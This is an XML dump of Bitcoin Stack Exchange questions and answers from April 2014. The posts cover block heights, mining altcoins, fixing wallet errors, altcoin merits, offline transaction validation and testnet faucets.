and/or bitcoin-cli (preferably offline)?" Tags="|bitcoind|raw-transaction|transaction-verification|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24309" PostTypeId="1" AcceptedAnswerId="24310" CreationDate="2014-04-04T16:15:52.137" Score="3" ViewCount="1990" Body="&lt;p&gt;Is block height always sequential? Can it serve as a 100% reliable block counter in case if I want to check whether I missed a block or I need to account for any corner cases?&lt;/p&gt;&#xA;" OwnerUserId="4723" LastActivityDate="2014-04-04T19:15:44.747" Title="Is block height always sequential?" Tags="|blockchain|height|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24310" PostTypeId="2" ParentId="24309" CreationDate="2014-04-04T16:34:06.150" Score="6" Body="&lt;p&gt;Block height is by definition sequential in the sense that adjacent blocks will always have heights that differ by 1.  But there is a chicken-and-egg problem: in order to compute the height, you have to have access to all the blocks in between the genesis block and the current one.  (The height is not recorded in the block itself.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's also the issue that multiple blocks can have the same height, if they are on different branches of the chain.  So just because you have one block at every height, doesn't mean you have all the blocks on the main chain; some of them might be on orphan branches.&lt;/p&gt;&#xA;" OwnerUserId="5757" LastActivityDate="2014-04-04T16:34:06.150" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24311" PostTypeId="2" ParentId="19111" CreationDate="2014-04-04T17:38:14.033" Score="1" Body="&lt;p&gt;Like the previous answer mentioned - if you're mining with a GPU you will earn you close to nothing due to ASIC proliferation (specialized hardware that makes GPU/CPU mining for bitcoin [sha256 algorithm] obsolete). You may be better off mining a coin using an algorithm designed to be anti-ASIC. Several altcoins have been made in attempt to make GPU mining viable and to be resistant to ASIC takeover. Scrypt based coins for example may still be at least close to profitable with GPU mining. But there are tons other like &lt;em&gt;X11&lt;/em&gt; (darkcoin), &lt;em&gt;Quark&lt;/em&gt; (ex: quarkcoin), &lt;em&gt;Scrypt-Jane&lt;/em&gt; (ex: yacoin), &lt;em&gt;Scrypt-N&lt;/em&gt; (ex: vertcoin) - each algo has tons of forked/cloned coins as well. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Almost all of these altcoins can be mined with a GPU/CPU and exchanged for BTC on any of the crypto exchanges out there. You can even find pools which you connect your miner to and the pool will automatically switch your miner to be mining the most profitable coin (some of those pools will even auto exchange for BTC as well). And like the previous answer mentioned, for actual mining software you will want to use:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/veox/sgminer&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;SGMiner&lt;/strong&gt;&lt;/a&gt; for &lt;em&gt;AMD/ATI&lt;/em&gt; cards (CGMiner v3.7.2 was last version with scrypt support so people made SGMiner to replace it)&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Compiled binaries: sgminerwindows.com&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;a href=&quot;https://github.com/cbuchner1/CudaMiner&quot; rel=&quot;nofollow&quot;&gt;&lt;strong&gt;CUDAminer&lt;/strong&gt;&lt;/a&gt; for &lt;em&gt;NVIDIA&lt;/em&gt; cards&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Compiled binaries: bitcointalk.org/index.php?topic=167229.0&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;strong&gt;CPUMiner&lt;/strong&gt; for CPU mining. Some obscure algorithms will require modified versions of those miners but the descriptions for those coins will point you in the right direction.&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Compiled binaries: bitcointalk.org/index.php?topic=55038.0 &lt;/li&gt;&#xA;&lt;li&gt;Source: github.com/pooler/cpuminer (stackexchange won't let me post more than two link right now lol.. if/when I get the rep threshold I will edit this post to make them links..)&lt;/li&gt;&#xA;&lt;/ul&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;" OwnerUserId="14852" LastEditorUserId="14852" LastEditDate="2014-04-04T18:04:35.753" LastActivityDate="2014-04-04T18:04:35.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24312" PostTypeId="2" ParentId="24298" CreationDate="2014-04-04T18:18:56.017" Score="0" Body="&lt;p&gt;Developers who make altcoins tend to edit the maximum amount of coins that can be mined. Typically when an altcoin is announced on bitcointalk.org, one of the &quot;specs&quot; or selling points for the coin is how many possible coins can be created. If anyone is interested, I can find in the source code for various altcoins where this limit is set (reply to the comment with interest and I'll go look). I can also compile a quick list of altcoin announcements where the max amount of coins are stated. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Its also possible that a limit is originally set, but then the devs/maintainers of the coin will modify the source to change the limit - I believe something like this happened with dogecoin for example. And I believe the term is called a &quot;hardfork&quot; where they modify the coin source and tell everyone to upgrade to the new version which imposes the new changes such as max coin limit. &lt;/p&gt;&#xA;" OwnerUserId="14852" LastActivityDate="2014-04-04T18:18:56.017" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24313" PostTypeId="2" ParentId="24300" CreationDate="2014-04-04T18:25:22.137" Score="1" Body="&lt;p&gt;Check out the &lt;a href=&quot;https://multibit.org/en/help/v0.5/help_installing.html&quot; rel=&quot;nofollow&quot;&gt;installing guide for Multibit&lt;/a&gt;, looks like there is a common problem with Windows.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It could be you have the wrong Java architecture installed (for example you might have 32bit but need 64bit. Or Maybe multibit requires 32bit java even on a 64bit system). &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Oh and one of the suggestions on the multibit page suggests running the program in compatibility mode.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you have a problem like this always try re-installing java. Download and install it the typical way from &lt;a href=&quot;https://www.java.com/en/download/&quot; rel=&quot;nofollow&quot;&gt;https://www.java.com/en/download/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="14852" LastActivityDate="2014-04-04T18:25:22.137" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24314" PostTypeId="2" ParentId="24309" CreationDate="2014-04-04T19:15:44.747" Score="3" Body="&lt;p&gt;Block heights on the &quot;valid blockchain&quot; are sequential, but a block that is produced might become reorganized out of the blockchain (as a result of a soft fork in the network). This &lt;em&gt;does&lt;/em&gt; happen occasionally and isn't anything to be concerned most of the time.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Those blocks that are reorganized out of the blockchain still have a height, but that is still in sequence from its predecessor, but the block on the main blockchain will also have that height. It is possible that your blkXXXXX.dat contain a few blocks that are not on the blockchain.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Genesis block(0) --&amp;gt; 1 --&amp;gt; 2  --&amp;gt; 3 Main Chain&#xA;                       \-- 2 (reorged out)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="14149" LastActivityDate="2014-04-04T19:15:44.747" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24315" PostTypeId="2" ParentId="24217" CreationDate="2014-04-04T19:19:43.797" Score="2" Body="&lt;p&gt;Yes, it's possible. You just need a few rules. All miners must sign their blocks. All miners must &quot;register&quot; their public key before they are permitted to mine with that key. Blocks signed by the same public key are invalid if they are too close together by some rule.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The trick is controlling the registration system so that a single party can't just register thousands of public keys. You can do this by charging a fee for registering. You can also do this by having human approval required in the registration process.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can design the fee so that if you mine for a month, it pays your fee. That way, only people who intend to mine long-term or invest in the coin will be able to mine. This will protect you somewhat from hit and run attacks.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;However, for the record, I think the entire reasoning behind this is backwards. ASICs make coins more secure because they increase the investment required to attack the coin, just as this scheme would do. With ASICs, it's already done -- people have to invest in the coin to attack it.&lt;/p&gt;&#xA;" OwnerUserId="85" LastEditorUserId="85" LastEditDate="2014-04-04T20:22:05.747" LastActivityDate="2014-04-04T20:22:05.747" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24316" PostTypeId="2" ParentId="12241" CreationDate="2014-04-04T20:50:09.667" Score="1" Body="&lt;p&gt;&lt;strong&gt;This is normal.&lt;/strong&gt; This has to do with the way transactions work in Bitcoin.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The amount of satoshis in &lt;strong&gt;the inputs and outputs of a transaction must match.&lt;/strong&gt; (In reality the inputs can be higher than the outputs, the remainder then becomes the the transaction fees.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Transaction inputs are based on previous transaction outputs that were sent to public addresses you control. If you send an amount that is not exactly what you received with a previous transaction, the software creates a transaction with a larger input and sends back the difference to a public address you control.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For privacy reasons, the BitcoinQt software creates a new address (instead of re-using the main address), and sends money to it. There is a pre-allocated &lt;strong&gt;key pool&lt;/strong&gt; of such addresses. The default size is of 100. The key pool grows as you use them. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;For more details, see this blog post: &lt;a href=&quot;http://blog.barthe.ph/2014/04/03/bitcoin-balance-differs/&quot; rel=&quot;nofollow&quot;&gt;http://blog.barthe.ph/2014/04/03/bitcoin-balance-differs/&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="15053" LastEditorUserId="15053" LastEditDate="2014-04-04T23:19:18.753" LastActivityDate="2014-04-04T23:19:18.753" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24317" PostTypeId="1" AcceptedAnswerId="24321" CreationDate="2014-04-04T21:57:11.687" Score="2" ViewCount="625" Body="&lt;p&gt;I get this error when I try to send BTC&lt;/p&gt;&#xA;&#xA;&lt;p&gt;A FATAL ERROR OCCURRED. Bitcoin can no longer continue safely and will quit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Exception: St13runtime_error&lt;/p&gt;&#xA;&#xA;&lt;p&gt;CDB(): can’t open database file wallet.dat, error -30974&lt;/p&gt;&#xA;&#xA;&lt;p&gt;C:\program files (x86)\Bitcoin\bitcoin-qt.exe in Runaway exception&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Win 7&#xA;Bit core 0.9.0&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="14874" LastEditorUserId="2306" LastEditDate="2015-01-18T22:11:45.447" LastActivityDate="2015-01-18T22:11:45.447" Title="my wallet will not send BTC" Tags="|wallet|bitcoin-core|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24318" PostTypeId="1" AcceptedAnswerId="24325" CreationDate="2014-04-04T22:08:43.767" Score="4" ViewCount="1693" Body="&lt;p&gt;I'm struggling to see the importance of alt-coins. It seems to me that one of the major selling points of the various alt-coins is their quicker confirmation times. The common argument is: this is good for merchants and the like, because there is less time for them to worry that the customers' payments are legitimate.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;But can bitcoin users not have the same &quot;luxury?&quot; Why can't a merchant run his own node? His node will process the transaction, and the rest of the network can play catch-up.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Another argument is that there are too few bitcoin, and that eventually bitcoin will be the gold of digital currency--what the big transactions happen in--and the alt-coins will be the silver, or the copper--for day-to-day use.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is that really even good in theory though? The price of bitcoin would need to be in the millions for that to even be a decent worry. I can possibly see it being an issue, but do we really need to consider it now, when the exchange rate for bitcoin hasn't seen more than a few months in the 4-digits?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I overlooking a hyper-important advantage?&lt;/p&gt;&#xA;" OwnerUserId="2734" LastEditorUserId="5406" LastEditDate="2017-12-23T18:57:42.690" LastActivityDate="2018-02-07T05:45:21.293" Title="What advantages do &quot;alt-coins&quot; have over bitcoin?" Tags="|altcoin|altcoin-development|key-selling-points|" AnswerCount="5" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24320" PostTypeId="2" ParentId="3760" CreationDate="2014-04-04T23:10:26.540" Score="0" Body="&lt;p&gt;I &lt;em&gt;almost&lt;/em&gt; completely agree with Colin Dean's answer; I differ with him slightly since I believe that bitcoins are &lt;em&gt;potentially&lt;/em&gt; inherently useful.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Ignoring for the moment that a &lt;em&gt;few&lt;/em&gt; people &lt;em&gt;do&lt;/em&gt; buy and sell &lt;em&gt;real&lt;/em&gt; goods with/for bitcoins, and notwithstanding that it's self-evidently the case, I would contend that bitcoins are useful for paying for bitcoin transactions to be processed. The question is whether or not bitcoin transactions themselves are inherently useful to the general populace and, if so, what real economic value they assign to that usefulness which thence gives widespread value to the bitcoins that they need to carry out those transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And it's on this basis that I'm afraid I part company with most of the bitcoin community who appear to me to by trying to jump straight to &quot;bitcoin as currency&quot; rather than going for &quot;bitcoins are valuable because you can do economically useful things with them...and by the way, there are already mechanisms in place that mean that you can trade that value in an easy-to-use, currency-like fashion if you want to&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For example, there are great ideas for various forms of bitcoin-based &lt;a href=&quot;https://en.bitcoin.it/wiki/Contracts&quot; rel=&quot;nofollow noreferrer&quot;&gt;contracts&lt;/a&gt;, sophisticated trading processes and permanent data storage posted on the bitcoin wiki, on this forum and a great many other places but the bitcoin community seem to shun them in favour of supporting a limited set of &lt;a href=&quot;https://bitcoin.stackexchange.com/questions/5664/will-general-non-standard-transactions-ever-be-allowed&quot;&gt;&lt;em&gt;standard&lt;/em&gt;&lt;/a&gt; currency-like transactions (not that I completely begrudge them for having this attitude at this time since they have genuine concerns about maintaining the integrity of bitcoin).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is already an excellent example of an 'electronic currency' arising in Africa where, with the massive growth in cellphone usage, transferable Pay-As-You-Go airtime credit, itself inherently useful for cellphone-based communication, started to be &lt;a href=&quot;http://en.wikipedia.org/wiki/M-Pesa#History&quot; rel=&quot;nofollow noreferrer&quot;&gt;traded in return for real goods and services&lt;/a&gt;.&lt;/p&gt;&#xA;" OwnerUserId="14726" LastEditorUserId="-1" LastEditDate="2017-04-13T12:47:32.940" LastActivityDate="2014-04-04T23:10:26.540" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24321" PostTypeId="2" ParentId="24317" CreationDate="2014-04-04T23:19:16.700" Score="1" Body="&lt;p&gt;This was a learning experience for me too! I wasn't sure how to extract keys on Windows, and had to work my way through it. This is what I did on Windows 7.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Before you do anything: &lt;strong&gt;backup your wallet!&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Bitcoin-Qt does not have these as commands in it's GUI, so you need to use bitcoind.&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Close Bitcoin-Qt&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open Command Prompt&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter the command:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;C:\Program Files (x86)\Bitcoin\daemon\bitcoind&quot; -server&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or if that doesn't work, try &#xA;&lt;code&gt;&quot;C:\Program Files\Bitcoin\daemon\bitcoind&quot; -server&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(The &lt;code&gt;-server&lt;/code&gt; switch tells bitcoind to accept commands.)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;That CMD session should freeze and become unresponsive--just minimise it; that's Window's way of telling you it's working.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Open another Command Prompt and type: &lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;&quot;C:\Program Files (x86)\Bitcoin\daemon\bitcoind&quot; dumpprivkey [ADDRESS]&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where address is the full public address.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, I might enter &lt;code&gt;&quot;C:\Program Files (x86)\Bitcoin\daemon\bitcoind&quot; dumpprivkey 18gcVuGVgJSPswQML7LbxQBFEmBgrEwtuW&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Do this for every address you have bitcoin(s) in or want to keep.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Write down all of your private keys. &lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Close both CMD's, delete your wallet (&lt;strong&gt;not the backup&lt;/strong&gt;), and redo steps 2 and 3. (This will create a new wallet for you to use.)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;Enter &lt;code&gt;&quot;C:\Program Files (x86)\Bitcoin\daemon\bitcoind&quot; importprivkey [PRIVATE KEY] [LABEL]&lt;/code&gt; into the 2nd CMD instance.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So for example &lt;code&gt;&quot;C:\Program Files (x86)\Bitcoin\daemon\bitcoind&quot; importprivkey 5HueCGU8rMjxEXxiPuD5BDku4MkFqeZyd4dZ1jvhTVqvbTLvyTJ OldWallet&lt;/code&gt;&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="2734" LastEditorUserId="2734" LastEditDate="2014-04-04T23:32:22.283" LastActivityDate="2014-04-04T23:32:22.283" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="24325" PostTypeId="2" ParentId="24318" CreationDate="2014-04-05T01:09:39.937" Score="14" Body="&lt;p&gt;It depends a lot on the specific altcoin you're talking about. For the most part, there aren't a lot of major differences between Bitcoin and the alts. Sadly many of them exist only as the leftovers of pump-and-dump schemes intended to make their creators rich, though there are a few that are interesting in important ways.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;One of the primary benefits of a thriving altcoin economy is that they often represent the testing of a theory that may eventually benefit Bitcoin itself. Many altcoins, for example, use scrypt as their mining algorithm instead of SHA256. If SHA256 is discovered to be compromised some day, having a drop-in replacement for that subsystem available would be a major boon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You specifically mention faster confirmation times as a potential benefit, but the most often overlooked part of that statement is that transaction finality is a result of computational cost, not of time. This means that if an altcoin has one tenth the confirmation time and an equal amount of hashpower relative to Bitcoin it will take ten times as many confirmations to reach the same level of transaction security. Faster confirmations are a psychological benefit, not a technical one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The &quot;silver to Bitcoin's gold&quot; theory, largely pushed by Litecoin proponents, is also fallacious in that the entire reason gold requires a baser partner metal is that it is not adequately divisible. Paying for a candy bar with gold would be incredibly difficult for both parties involved since the amount of gold needed would be absurdly small. Bitcoin is not subject to such physical limitations and as such can be divided into such tiny portions relatively easily.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Taking all of the above into account, it should be clear that while a handful noteworthy exceptions do exist, the majority of altcoins are intellectual curiosities at best and scams at worst. A few make meaningful changes, but thus far none of those changes has really been a meaningfully large improvement over the base system.&lt;/p&gt;&#xA;" OwnerUserId="22" LastActivityDate="2014-04-05T01:09:39.937" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24328" PostTypeId="2" ParentId="24318" CreationDate="2014-04-05T02:41:05.307" Score="0" Body="&lt;p&gt;A lot of purists and developers won't like this analogy, but look at toothpaste (or any other product). People like different flavours or brands, small differences, no matter if they do basically the same thing. I think that's beginning to apply to crypto, with each coin appealing to different types of people/communities/niches (a lot of people like a number of coins). This doesn't really apply right now though as it's a casino and many aren't really established 'alternative products'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From an economic/investment/trading perspective, first thing that comes to mind: diversification.&lt;/p&gt;&#xA;" OwnerUserId="15060" LastActivityDate="2014-04-05T02:41:05.307" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="24329" PostTypeId="2" ParentId="24308" CreationDate="2014-04-05T03:55:52.883" Score="2" Body="&lt;p&gt;You can validate transactions in an offline instance of bitcoind that has absolutely none of the block chain!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Launch it like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$ bitcoind -datadir=some-datadir -server -connect=localhost:9999&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The &quot;connect&quot; parameter gives it the remote connect to. If you point it at a non-listening port, it will never gather any blocks. This is fine for validating transactions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;It will tell you that you need to create a bitcoin.conf, and where, and what to put into it (rpcuser=bitcoinrpc and rpcpassword=some_long_string).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then your bitcoind RPC url will be&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;http://bitcoinrpc:password@localhost:8332/&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You use the JSON API signrawtransaction documented in section 7.2 of &lt;a href=&quot;https://en.bitcoin.it/wiki/Raw_Transactions&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Raw_Transactions&lt;/a&gt;. You will need to pass in the inputs, since they will not be known to the bitcoin daemon.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm the author of the Python library pycoin &lt;a href=&quot;https://github.com/richardkiss/pycoin/&quot; rel=&quot;nofollow&quot;&gt;https://github.com/richardkiss/pycoin/&lt;/a&gt; and I use bitcoind to verify that transactions created by pycoin are valid (or in some cases, invalid). See bitcoind_agrees_on_transaction_validity in &lt;a href=&quot;https://github.com/richardkiss/pycoin/blob/offline_tx/pycoin/services/bitcoind.py&quot; rel=&quot;nofollow&quot;&gt;https://github.com/richardkiss/pycoin/blob/offline_tx/pycoin/services/bitcoind.py&lt;/a&gt; for an example usage.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(You could also use pycoin to validate transactions. It works, but it's not quite there yet documentation-wise. It also hasn't been extensively tested on non-standard transactions, so its VM implementation is hardly authoritative.)&lt;/p&gt;&#xA;" OwnerUserId="12919" LastActivityDate="2014-04-05T03:55:52.883" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="24333" PostTypeId="1" AcceptedAnswerId="24334" CreationDate="2014-04-05T08:03:16.340" Score="0" ViewCount="583" Body="&lt;p&gt;Is it possible to confirm a transaction offline in the following scenario:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;the &quot;receiving&quot; device is first online. There is no restriction at this point. Especially, it can prepare anything needed for the following steps.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the &quot;receiving&quot; device goes offline. It generates a payment request for a specific amount that was not known before and shares it to the &quot;sending&quot; device via an offline means, such as a QR code for instance.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;the &quot;sending&quot; device which is always online, completes the transaction.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;How could the &quot;receiving&quot; device, while staying &lt;em&gt;offline&lt;/em&gt;, can get a confirmation that the transaction has really occurred? In other words, what should the &quot;sending&quot; device share (by QR code for instance) to the &quot;receiving&quot; device that will let it confirm the transaction without being fooled?&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;Could the &quot;receiving&quot; device have a public key that would verify a signed version of the transaction?&lt;/p&gt;&#xA;" OwnerUserId="15064" LastEditorUserId="120" LastEditDate="2014-04-05T08:35:32.193" LastActivityDate="2014-04-05T10:50:50.757" Title="How to confirm offline a transaction" Tags="|transactions|offline|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24334" PostTypeId="2" ParentId="24333" CreationDate="2014-04-05T10:50:50.757" Score="0" Body="&lt;p&gt;It depends precisely how secure you need to be. Generally speaking, the entire block containing the transaction and the next 100 block headers should be sufficient. The validation should consist of ensuring that the first block actually contains the transaction and is a valid Bitcoin block, the other 100 blocks form a valid chain, and all 100 blocks meet a reasonable difficulty target.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The easy way to create such a chain is to get the transaction confirmed and wait for all the world's miners to produce 100 blocks. Other than that, you'd have to find all 100 blocks yourself, which is an awful lot of work to do just to fake one transaction.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Note that this method would fail should the Bitcoin network's total hashing power ever fall below what the device expects as the real blocks wouldn't meet the &quot;reasonable difficulty target&quot;. You do, to some extent, have to predict the future Bitcoin difficulty to make this work.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This assumes that having no central authority is a requirement. If you can accept a central authority, then that central authority can periodically issue a signed statement of the current minimum difficulty and number of blocks the device should accept. Updating this every year or so should be more than sufficient. That would allow you to wait for far fewer confirmations. 100 confirmations will take 17 hours or so.&lt;/p&gt;&#xA;" OwnerUserId="85" LastActivityDate="2014-04-05T10:50:50.757" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="24338" PostTypeId="2" ParentId="24279" CreationDate="2014-04-05T14:07:26.037" Score="1" Body="&lt;p&gt;Answering my own question. Apparently, at that point in the blockchain, the daemon started chewing up processor space and the server's resource watchdog promptly killed it. Starting it with &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;nice --20 ./bitcoind -daemon -testnet&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;seems to have more or less made the entire problem go away.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I feel a bit stupid now.&lt;/p&gt;&#xA;" OwnerUserId="15023" LastEditorUserId="15023" LastEditDate="2014-04-05T14:37:49.847" LastActivityDate="2014-04-05T14:37:49.847" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24339" PostTypeId="1" AcceptedAnswerId="24344" CreationDate="2014-04-05T15:21:22.880" Score="4" ViewCount="1681" Body="&lt;p&gt;This &lt;a href=&quot;https://ripple.com/forum/viewtopic.php?f=3&amp;amp;t=2424&quot; rel=&quot;nofollow&quot;&gt;ripple forum post&lt;/a&gt; says&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;blockquote&gt;&#xA;    &lt;p&gt;moocowpong1 wrote:&#xA;    &quot;She might also do this for free if she has IOUs from GatewayB and wants to convert them to GatewayA IOUs.&quot;&lt;/p&gt;&#xA;  &lt;/blockquote&gt;&#xA;  &#xA;  &lt;p&gt;She might also do this without knowing, if she has empty trust lines with both gateways (that's the core of all those stupid scams people are attempting to do)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;I'm still trying to understand ripple, what to do, and what not to do.  This post in particular is a bit confusing since I don't understand:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Is an &quot;empty&quot; trust line equal to a trust line of zero dollars?&lt;/li&gt;&#xA;&lt;li&gt;Does a trust line of zero dollars have any risk to the truster?&lt;/li&gt;&#xA;&lt;li&gt;How does this scam work?&lt;/li&gt;&#xA;&lt;li&gt;What other scams would take advantage of Ripple's unique way of working?&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="1878" LastActivityDate="2017-09-05T13:23:17.800" Title="How can Ripple trust lines be exploited to scam unknowing people?" Tags="|ripple|fraud|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="24340" PostTypeId="2" ParentId="24276" CreationDate="2014-04-05T16:01:48.927" Score="1" Body="&lt;p&gt;Currently I do not think it is possible, atleast not without remaining &quot;hidden&quot;.  What you could do is configure your bitcoind server to use a proxy: &lt;a href=&quot;https://en.bitcoin.it/wiki/Tor&quot; rel=&quot;nofollow&quot;&gt;https://en.bitcoin.it/wiki/Tor&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Other alternatives you may want to look into is BitPay as they are currently working on a tor implementation: &lt;a href=&quot;https://github.com/bitpay/bitcore/pull/210&quot; rel=&quot;nofollow&quot;&gt;https://github.com/bitpay/bitcore/pull/210&lt;/a&gt;  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also &lt;a href=&quot;http://bitwasp.co&quot; rel=&quot;nofollow&quot;&gt;BitWasp&lt;/a&gt; will be releasing their marketplace soon which you will be able to configure to run on the Tor network as well. &lt;/p&gt;&#xA;" OwnerUserId="14431" LastActivityDate="2014-04-05T16:01:48.927" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="24343" PostTypeId="2" ParentId="17690" CreationDate="2014-04-06T02:35:58.603" Score="3" Body="&lt;p&gt;&lt;strong&gt;Edit: Website Shutdown&lt;/strong&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;http://faucet.xeno-genesis.com/&quot; rel=&quot;nofollow noreferrer&quot;&gt;http://faucet.xeno-genesis.com/&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;working as of 2014-04-06 with about 2000+ testnet coins.&lt;/p&gt;&#xA;" OwnerUserId="15074" LastEditorUserId="145170" LastEditDate="2023-10-06T14:39:40.903" LastActivityDate="2023-10-06T14:39:40.903" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
